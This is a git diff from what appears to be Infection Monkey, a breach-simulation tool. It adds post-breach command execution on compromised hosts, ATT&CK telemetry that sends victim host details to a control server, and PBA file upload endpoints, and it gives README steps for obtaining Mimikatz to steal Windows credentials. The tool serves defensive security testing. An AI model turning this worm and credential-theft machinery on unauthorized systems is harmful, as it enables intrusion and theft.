@ -0,0 +1,83 @@
import logging
import infection_monkey.config
from file_execution import FileExecution
from pba import PBA
from infection_monkey.utils import is_windows_os
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
class PostBreach(object):
"""
This class handles post breach actions execution
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
def execute(self):
"""
Executes all post breach actions.
"""
for pba in self.pba_list:
pba.run(self.os_is_linux)
LOG.info("Post breach actions executed")
@staticmethod
def config_to_pba_list(config):
"""
Returns a list of PBA objects generated from config.
:param config: Monkey configuration
:return: A list of PBA objects.
"""
pba_list = []
pba_list.extend(PostBreach.get_custom_PBA(config))
return pba_list
@staticmethod
def get_custom_PBA(config):
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:param config: monkey's configuration
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
custom_list = []
file_pba = FileExecution()
command_pba = PBA(name="Custom")
if not is_windows_os():
# Add linux commands to PBA's
if config.PBA_linux_filename:
if config.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
else:
file_pba.add_default_command(is_linux=True)
elif config.custom_PBA_linux_cmd:
command_pba.linux_command = config.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if config.PBA_windows_filename:
if config.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
config.custom_PBA_windows_cmd
else:
file_pba.add_default_command(is_linux=False)
elif config.custom_PBA_windows_cmd:
command_pba.windows_command = config.custom_PBA_windows_cmd
# Add PBA's to list
if file_pba.linux_command or file_pba.windows_command:
custom_list.append(file_pba)
if command_pba.windows_command or command_pba.linux_command:
custom_list.append(command_pba)
return custom_list

View File

@ -72,8 +72,7 @@ b. Download our pre-built sambacry binaries
-- Mimikatz -- -- Mimikatz --
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository.
You can either build them yourself or download pre-built binaries.
a. Build Mimikatz yourself a. Build Mimikatz yourself
a.0. Building mimikatz requires Visual Studio 2013 and up a.0. Building mimikatz requires Visual Studio 2013 and up
a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0 a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0
@ -84,7 +83,7 @@ a. Build Mimikatz yourself
a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly. a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly.
a.3.4. Zipping with 7zip has been tested. Other zipping software may not work. a.3.4. Zipping with 7zip has been tested. Other zipping software may not work.
b. Download our pre-built traceroute binaries b. Download our pre-built mimikatz binaries
b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0 b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0
b.2. Place them under [code location]\infection_monkey\bin b.2. Place them under [code location]\infection_monkey\bin

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,41 @@
from infection_monkey.config import WormConfiguration, GUID
import requests
import json
from infection_monkey.control import ControlClient
import logging
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
class AttackTelem(object):
def __init__(self, technique, status, data=None):
"""
Default ATT&CK telemetry constructor
:param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum
:param data: Other data relevant to the attack technique
"""
self.technique = technique
self.result = status
self.data = {'status': status, 'id': GUID}
if data:
self.data.update(data)
def send(self):
"""
Sends telemetry to island
"""
if not WormConfiguration.current_server:
return
try:
requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique),
data=json.dumps(self.data),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)

View File

@ -0,0 +1,18 @@
from infection_monkey.transport.attack_telems.base_telem import AttackTelem
__author__ = "VakarisZ"
class VictimHostTelem(AttackTelem):
def __init__(self, technique, status, machine, data=None):
"""
ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data
:param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum
:param machine: VictimHost obj from model/host.py
:param data: Other data relevant to the attack technique
"""
super(VictimHostTelem, self).__init__(technique, status, data)
victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr}
self.data.update({'machine': victim_host})

View File

@ -1,5 +1,6 @@
import os import os
import sys import sys
import shutil
import struct import struct
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
@ -35,3 +36,25 @@ def utf_to_ascii(string):
# Converts utf string to ascii. Safe to use even if string is already ascii. # Converts utf string to ascii. Safe to use even if string is already ascii.
udata = string.decode("utf-8") udata = string.decode("utf-8")
return udata.encode("ascii", "ignore") return udata.encode("ascii", "ignore")
def create_monkey_dir():
"""
Creates directory for monkey and related files
"""
if not os.path.exists(get_monkey_dir_path()):
os.mkdir(get_monkey_dir_path())
def remove_monkey_dir():
"""
Removes monkey's root directory
"""
shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
def get_monkey_dir_path():
if is_windows_os():
return WormConfiguration.monkey_dir_windows
else:
return WormConfiguration.monkey_dir_linux

View File

@ -8,26 +8,30 @@ from bson.json_util import dumps
from flask import Flask, send_from_directory, make_response, Response from flask import Flask, send_from_directory, make_response, Response
from werkzeug.exceptions import NotFound from werkzeug.exceptions import NotFound
from cc.auth import init_jwt from monkey_island.cc.auth import init_jwt
from cc.database import mongo, database from monkey_island.cc.database import mongo, database
from cc.environment.environment import env from monkey_island.cc.environment.environment import env
from cc.resources.client_run import ClientRun from monkey_island.cc.resources.client_run import ClientRun
from cc.resources.edge import Edge from monkey_island.cc.resources.edge import Edge
from cc.resources.local_run import LocalRun from monkey_island.cc.resources.local_run import LocalRun
from cc.resources.log import Log from monkey_island.cc.resources.log import Log
from cc.resources.island_logs import IslandLog from monkey_island.cc.resources.island_logs import IslandLog
from cc.resources.monkey import Monkey from monkey_island.cc.resources.monkey import Monkey
from cc.resources.monkey_configuration import MonkeyConfiguration from monkey_island.cc.resources.monkey_configuration import MonkeyConfiguration
from cc.resources.island_configuration import IslandConfiguration from monkey_island.cc.resources.island_configuration import IslandConfiguration
from cc.resources.monkey_download import MonkeyDownload from monkey_island.cc.resources.monkey_download import MonkeyDownload
from cc.resources.netmap import NetMap from monkey_island.cc.resources.netmap import NetMap
from cc.resources.node import Node from monkey_island.cc.resources.node import Node
from cc.resources.remote_run import RemoteRun from monkey_island.cc.resources.remote_run import RemoteRun
from cc.resources.report import Report from monkey_island.cc.resources.report import Report
from cc.resources.root import Root from monkey_island.cc.resources.root import Root
from cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry import Telemetry
from cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from cc.services.config import ConfigService from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack_telem import AttackTelem
__author__ = 'Barak' __author__ = 'Barak'
@ -39,7 +43,7 @@ def serve_static_file(static_path):
if static_path.startswith('api/'): if static_path.startswith('api/'):
raise NotFound() raise NotFound()
try: try:
return send_from_directory(os.path.join(os.getcwd(), 'monkey_island/cc/ui/dist'), static_path) return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/ui/dist'), static_path)
except NotFound: except NotFound:
# Because react uses various urls for same index page, this is probably the user's intention. # Because react uses various urls for same index page, this is probably the user's intention.
if static_path == HOME_FILE: if static_path == HOME_FILE:
@ -116,6 +120,11 @@ def init_app(mongo_url):
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
'/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
return app return app

View File

@ -4,7 +4,7 @@ from flask import current_app, abort
from flask_jwt import JWT, _jwt_required, JWTError from flask_jwt import JWT, _jwt_required, JWTError
from werkzeug.security import safe_str_cmp from werkzeug.security import safe_str_cmp
from cc.environment.environment import env from monkey_island.cc.environment.environment import env
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'

View File

@ -0,0 +1,5 @@
import os
__author__ = 'itay.mizeretz'
MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), 'monkey_island')

View File

@ -4,12 +4,14 @@ import os
from Crypto import Random from Crypto import Random
from Crypto.Cipher import AES from Crypto.Cipher import AES
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
class Encryptor: class Encryptor:
_BLOCK_SIZE = 32 _BLOCK_SIZE = 32
_DB_PASSWORD_FILENAME = "monkey_island/cc/mongo_key.bin" _DB_PASSWORD_FILENAME = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/mongo_key.bin')
def __init__(self): def __init__(self):
self._load_key() self._load_key()

View File

@ -1,5 +1,5 @@
import cc.auth import monkey_island.cc.auth
from cc.environment import Environment from monkey_island.cc.environment import Environment
from common.cloud.aws_instance import AwsInstance from common.cloud.aws_instance import AwsInstance
from Crypto.Hash import SHA3_512 from Crypto.Hash import SHA3_512
@ -21,5 +21,5 @@ class AwsEnvironment(Environment):
def get_auth_users(self): def get_auth_users(self):
return [ return [
cc.auth.User(1, 'monkey', self.hash_secret(self._instance_id)) monkey_island.cc.auth.User(1, 'monkey', self.hash_secret(self._instance_id))
] ]

View File

@ -1,9 +1,11 @@
import json import json
import logging import logging
import os
from cc.environment import standard from monkey_island.cc.environment import standard
from cc.environment import aws from monkey_island.cc.environment import aws
from cc.environment import password from monkey_island.cc.environment import password
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -21,7 +23,7 @@ ENV_DICT = {
def load_server_configuration_from_file(): def load_server_configuration_from_file():
with open('monkey_island/cc/server_config.json', 'r') as f: with open(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/server_config.json'), 'r') as f:
config_content = f.read() config_content = f.read()
return json.loads(config_content) return json.loads(config_content)

View File

@ -1,5 +1,5 @@
from cc.environment import Environment from monkey_island.cc.environment import Environment
import cc.auth import monkey_island.cc.auth
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -8,5 +8,5 @@ class PasswordEnvironment(Environment):
def get_auth_users(self): def get_auth_users(self):
return [ return [
cc.auth.User(1, self.config['user'], self.config['hash']) monkey_island.cc.auth.User(1, self.config['user'], self.config['hash'])
] ]

View File

@ -1,5 +1,5 @@
import cc.auth import monkey_island.cc.auth
from cc.environment import Environment from monkey_island.cc.environment import Environment
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -11,5 +11,5 @@ class StandardEnvironment(Environment):
def get_auth_users(self): def get_auth_users(self):
return [ return [
cc.auth.User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS) monkey_island.cc.auth.User(1, StandardEnvironment.NO_AUTH_CREDS, StandardEnvironment.NO_AUTH_CREDS)
] ]

View File

@ -1,6 +1,6 @@
from cc.environment.environment import load_env_from_file, AWS from monkey_island.cc.environment.environment import load_env_from_file, AWS
from cc.report_exporter_manager import ReportExporterManager from monkey_island.cc.report_exporter_manager import ReportExporterManager
from cc.resources.aws_exporter import AWSExporter from monkey_island.cc.resources.aws_exporter import AWSExporter
__author__ = 'maor.rayzin' __author__ = 'maor.rayzin'

View File

@ -11,17 +11,18 @@ BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if BASE_PATH not in sys.path: if BASE_PATH not in sys.path:
sys.path.insert(0, BASE_PATH) sys.path.insert(0, BASE_PATH)
from cc.island_logger import json_setup_logging from monkey_island.cc.island_logger import json_setup_logging
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path=os.path.join(BASE_PATH, 'cc', 'island_logger_default_config.json'), json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
default_level=logging.DEBUG) default_level=logging.DEBUG)
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
from cc.app import init_app from monkey_island.cc.app import init_app
from cc.exporter_init import populate_exporter_list from monkey_island.cc.exporter_init import populate_exporter_list
from cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from cc.environment.environment import env from monkey_island.cc.environment.environment import env
from cc.database import is_db_server_up from monkey_island.cc.database import is_db_server_up
def main(): def main():
@ -37,12 +38,16 @@ def main():
populate_exporter_list() populate_exporter_list()
app = init_app(mongo_url) app = init_app(mongo_url)
crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')
key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')
if env.is_debug(): if env.is_debug():
app.run(host='0.0.0.0', debug=True, ssl_context=('monkey_island/cc/server.crt', 'monkey_island/cc/server.key')) app.run(host='0.0.0.0', debug=True, ssl_context=(crt_path, key_path))
else: else:
http_server = HTTPServer(WSGIContainer(app), http_server = HTTPServer(WSGIContainer(app),
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'monkey_island/cc/server.crt'), ssl_options={'certfile': os.environ.get('SERVER_CRT', crt_path),
'keyfile': os.environ.get('SERVER_KEY', 'monkey_island/cc/server.key')}) 'keyfile': os.environ.get('SERVER_KEY', key_path)})
http_server.listen(env.get_island_port()) http_server.listen(env.get_island_port())
logger.info( logger.info(
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port())) 'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))

View File

@ -0,0 +1,24 @@
import flask_restful
from flask import request
import json
from monkey_island.cc.services.attack.attack_telem import set_results
import logging
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class AttackTelem(flask_restful.Resource):
"""
ATT&CK endpoint used to retrieve matrix related info from monkey
"""
def post(self, technique):
"""
Gets ATT&CK telemetry data and stores it in the database
:param technique: Technique ID, e.g. T1111
"""
data = json.loads(request.data)
set_results(technique, data)
return {}

View File

@ -4,9 +4,9 @@ from datetime import datetime
import boto3 import boto3
from botocore.exceptions import UnknownServiceError from botocore.exceptions import UnknownServiceError
from cc.resources.exporter import Exporter from monkey_island.cc.resources.exporter import Exporter
from cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from cc.environment.environment import load_server_configuration_from_file from monkey_island.cc.environment.environment import load_server_configuration_from_file
from common.cloud.aws_instance import AwsInstance from common.cloud.aws_instance import AwsInstance
__author__ = 'maor.rayzin' __author__ = 'maor.rayzin'

View File

@ -2,7 +2,7 @@ import logging
from flask import request, jsonify from flask import request, jsonify
import flask_restful import flask_restful
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'

View File

@ -1,7 +1,7 @@
from flask import request from flask import request
import flask_restful import flask_restful
from cc.services.edge import EdgeService from monkey_island.cc.services.edge import EdgeService
__author__ = 'Barak' __author__ = 'Barak'

View File

@ -3,8 +3,8 @@ import json
import flask_restful import flask_restful
from flask import request, jsonify, abort from flask import request, jsonify, abort
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
class IslandConfiguration(flask_restful.Resource): class IslandConfiguration(flask_restful.Resource):

View File

@ -2,8 +2,8 @@ import logging
import flask_restful import flask_restful
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.services.island_logs import IslandLogService from monkey_island.cc.services.island_logs import IslandLogService
__author__ = "Maor.Rayzin" __author__ = "Maor.Rayzin"

View File

@ -6,16 +6,18 @@ import sys
from flask import request, jsonify, make_response from flask import request, jsonify, make_response
import flask_restful import flask_restful
from cc.environment.environment import env from monkey_island.cc.environment.environment import env
from cc.resources.monkey_download import get_monkey_executable from monkey_island.cc.resources.monkey_download import get_monkey_executable
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'Barak' __author__ = 'Barak'
import logging import logging
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
def run_local_monkey(): def run_local_monkey():
import platform import platform
import subprocess import subprocess
@ -26,8 +28,8 @@ def run_local_monkey():
if not result: if not result:
return False, "OS Type not found" return False, "OS Type not found"
monkey_path = os.path.join(os.getcwd(), 'monkey_island', 'cc', 'binaries', result['filename']) monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries', result['filename'])
target_path = os.path.join(os.getcwd(), 'monkey_island', result['filename']) target_path = os.path.join(MONKEY_ISLAND_ABS_PATH, result['filename'])
# copy the executable to temp path (don't run the monkey from its current location as it may delete itself) # copy the executable to temp path (don't run the monkey from its current location as it may delete itself)
try: try:

View File

@ -4,10 +4,10 @@ import flask_restful
from bson import ObjectId from bson import ObjectId
from flask import request from flask import request
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.database import mongo from monkey_island.cc.database import mongo
from cc.services.log import LogService from monkey_island.cc.services.log import LogService
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"

View File

@ -5,9 +5,9 @@ import dateutil.parser
from flask import request from flask import request
import flask_restful import flask_restful
from cc.database import mongo from monkey_island.cc.database import mongo
from cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
__author__ = 'Barak' __author__ = 'Barak'

View File

@ -3,8 +3,8 @@ import json
import flask_restful import flask_restful
from flask import request, jsonify, abort from flask import request, jsonify, abort
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
__author__ = 'Barak' __author__ = 'Barak'

View File

@ -5,6 +5,8 @@ import os
import flask_restful import flask_restful
from flask import request, send_from_directory from flask import request, send_from_directory
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
__author__ = 'Barak' __author__ = 'Barak'
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -70,7 +72,7 @@ class MonkeyDownload(flask_restful.Resource):
# Used by monkey. can't secure. # Used by monkey. can't secure.
def get(self, path): def get(self, path):
return send_from_directory('binaries', path) return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries'), path)
# Used by monkey. can't secure. # Used by monkey. can't secure.
def post(self): def post(self):
@ -81,7 +83,7 @@ class MonkeyDownload(flask_restful.Resource):
if result: if result:
# change resulting from new base path # change resulting from new base path
real_path = os.path.join("monkey_island", "cc", 'binaries', result['filename']) real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", 'binaries', result['filename'])
if os.path.isfile(real_path): if os.path.isfile(real_path):
result['size'] = os.path.getsize(real_path) result['size'] = os.path.getsize(real_path)
return result return result

View File

@ -1,9 +1,9 @@
import flask_restful import flask_restful
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.services.edge import EdgeService from monkey_island.cc.services.edge import EdgeService
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from cc.database import mongo from monkey_island.cc.database import mongo
__author__ = 'Barak' __author__ = 'Barak'

View File

@ -1,8 +1,8 @@
from flask import request from flask import request
import flask_restful import flask_restful
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
__author__ = 'Barak' __author__ = 'Barak'

View File

@ -0,0 +1,14 @@
import flask_restful
from flask import send_from_directory
from monkey_island.cc.resources.pba_file_upload import GET_FILE_DIR
__author__ = 'VakarisZ'
class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)

View File

@ -0,0 +1,83 @@
import flask_restful
from flask import request, send_from_directory, Response
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR
from monkey_island.cc.auth import jwt_required
import os
from werkzeug.utils import secure_filename
import logging
import copy
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
GET_FILE_DIR = "./userUploads"
# Front end uses these strings to identify which files to work with (linux of windows)
LINUX_PBA_TYPE = 'PBAlinux'
WINDOWS_PBA_TYPE = 'PBAwindows'
class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
@jwt_required()
def get(self, file_type):
"""
Sends file to filepond
:param file_type: Type indicates which file to send, linux or windows
:return: Returns file contents
"""
# Verify that file_name is indeed a file from config
if file_type == LINUX_PBA_TYPE:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
else:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
return send_from_directory(GET_FILE_DIR, filename)
@jwt_required()
def post(self, file_type):
"""
Receives user's uploaded file from filepond
:param file_type: Type indicates which file was received, linux or windows
:return: Returns flask response object with uploaded file's filename
"""
filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
response = Response(
response=filename,
status=200, mimetype='text/plain')
return response
@jwt_required()
def delete(self, file_type):
"""
Deletes file that has been deleted on the front end
:param file_type: Type indicates which file was deleted, linux of windows
:return: Empty response
"""
filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
filename = ConfigService.get_config_value(filename_path)
file_path = os.path.join(UPLOADS_DIR, filename)
try:
if os.path.exists(file_path):
os.remove(file_path)
ConfigService.set_config_value(filename_path, '')
except OSError as e:
LOG.error("Can't remove previously uploaded post breach files: %s" % e)
return {}
@staticmethod
def upload_pba_file(request_, is_linux=True):
"""
Uploads PBA file to island's file system
:param request_: Request object containing PBA file
:param is_linux: Boolean indicating if this file is for windows or for linux
:return: filename string
"""
filename = secure_filename(request_.files['filepond'].filename)
file_path = os.path.join(UPLOADS_DIR, filename)
request_.files['filepond'].save(file_path)
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
return filename

View File

@ -2,8 +2,8 @@ import json
from flask import request, jsonify, make_response from flask import request, jsonify, make_response
import flask_restful import flask_restful
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from common.cloud.aws_service import AwsService from common.cloud.aws_service import AwsService

View File

@ -1,7 +1,7 @@
import flask_restful import flask_restful
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.services.report import ReportService from monkey_island.cc.services.report import ReportService
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"

View File

@ -4,12 +4,13 @@ import logging
import flask_restful import flask_restful
from flask import request, make_response, jsonify from flask import request, make_response, jsonify
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.database import mongo from monkey_island.cc.database import mongo
from cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from cc.services.report import ReportService from monkey_island.cc.services.report import ReportService
from cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.post_breach_files import remove_PBA_files
__author__ = 'Barak' __author__ = 'Barak'
@ -42,6 +43,7 @@ class Root(flask_restful.Resource):
@staticmethod @staticmethod
@jwt_required() @jwt_required()
def reset_db(): def reset_db():
remove_PBA_files()
# We can't drop system collections. # We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config() ConfigService.init_config()

View File

@ -7,14 +7,14 @@ import dateutil
import flask_restful import flask_restful
from flask import request from flask import request
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.database import mongo from monkey_island.cc.database import mongo
from cc.services import mimikatz_utils from monkey_island.cc.services import mimikatz_utils
from cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from cc.services.edge import EdgeService from monkey_island.cc.services.edge import EdgeService
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from cc.encryptor import encryptor from monkey_island.cc.encryptor import encryptor
from cc.services.wmi_handler import WMIHandler from monkey_island.cc.services.wmi_handler import WMIHandler
__author__ = 'Barak' __author__ = 'Barak'
@ -257,6 +257,11 @@ class Telemetry(flask_restful.Resource):
if len(credential) > 0: if len(credential) > 0:
attempts[i][field] = encryptor.enc(credential.encode('utf-8')) attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
@staticmethod
def process_post_breach_telemetry(telemetry_json):
mongo.db.monkey.update(
{'guid': telemetry_json['monkey_guid']},
{'$push': {'pba_results': telemetry_json['data']}})
TELEM_PROCESS_DICT = \ TELEM_PROCESS_DICT = \
{ {
@ -265,5 +270,6 @@ TELEM_PROCESS_DICT = \
'exploit': Telemetry.process_exploit_telemetry, 'exploit': Telemetry.process_exploit_telemetry,
'scan': Telemetry.process_scan_telemetry, 'scan': Telemetry.process_scan_telemetry,
'system_info_collection': Telemetry.process_system_info_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry,
'trace': Telemetry.process_trace_telemetry 'trace': Telemetry.process_trace_telemetry,
'post_breach': Telemetry.process_post_breach_telemetry
} }

View File

@ -5,9 +5,9 @@ import flask_restful
from flask import request from flask import request
import flask_pymongo import flask_pymongo
from cc.auth import jwt_required from monkey_island.cc.auth import jwt_required
from cc.database import mongo from monkey_island.cc.database import mongo
from cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -80,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource):
def get_trace_telem_brief(telem): def get_trace_telem_brief(telem):
return 'Monkey reached max depth.' return 'Monkey reached max depth.'
@staticmethod
def get_post_breach_telem_brief(telem):
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
telem['data']['hostname'],
telem['data']['ip'])
TELEM_PROCESS_DICT = \ TELEM_PROCESS_DICT = \
{ {
@ -88,5 +94,6 @@ TELEM_PROCESS_DICT = \
'exploit': TelemetryFeed.get_exploit_telem_brief, 'exploit': TelemetryFeed.get_exploit_telem_brief,
'scan': TelemetryFeed.get_scan_telem_brief, 'scan': TelemetryFeed.get_scan_telem_brief,
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief, 'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
'trace': TelemetryFeed.get_trace_telem_brief 'trace': TelemetryFeed.get_trace_telem_brief,
'post_breach': TelemetryFeed.get_post_breach_telem_brief
} }

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,19 @@
"""
File that contains ATT&CK telemetry storing/retrieving logic
"""
import logging
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
def set_results(technique, data):
"""
Adds ATT&CK technique results(telemetry) to the database
:param technique: technique ID string e.g. T1110
:param data: Data, relevant to the technique
"""
data.update({'technique': technique})
mongo.db.attack_results.insert(data)

View File

@ -4,11 +4,12 @@ import functools
import logging import logging
from jsonschema import Draft4Validator, validators from jsonschema import Draft4Validator, validators
from six import string_types from six import string_types
import monkey_island.cc.services.post_breach_files
from cc.database import mongo from monkey_island.cc.database import mongo
from cc.encryptor import encryptor from monkey_island.cc.encryptor import encryptor
from cc.environment.environment import env from monkey_island.cc.environment.environment import env
from cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from config_schema import SCHEMA from config_schema import SCHEMA
__author__ = "itay.mizeretz" __author__ = "itay.mizeretz"
@ -79,6 +80,12 @@ class ConfigService:
config = encryptor.dec(config) config = encryptor.dec(config)
return config return config
@staticmethod
def set_config_value(config_key_as_arr, value):
mongo_key = ".".join(config_key_as_arr)
mongo.db.config.update({'name': 'newconfig'},
{"$set": {mongo_key: value}})
@staticmethod @staticmethod
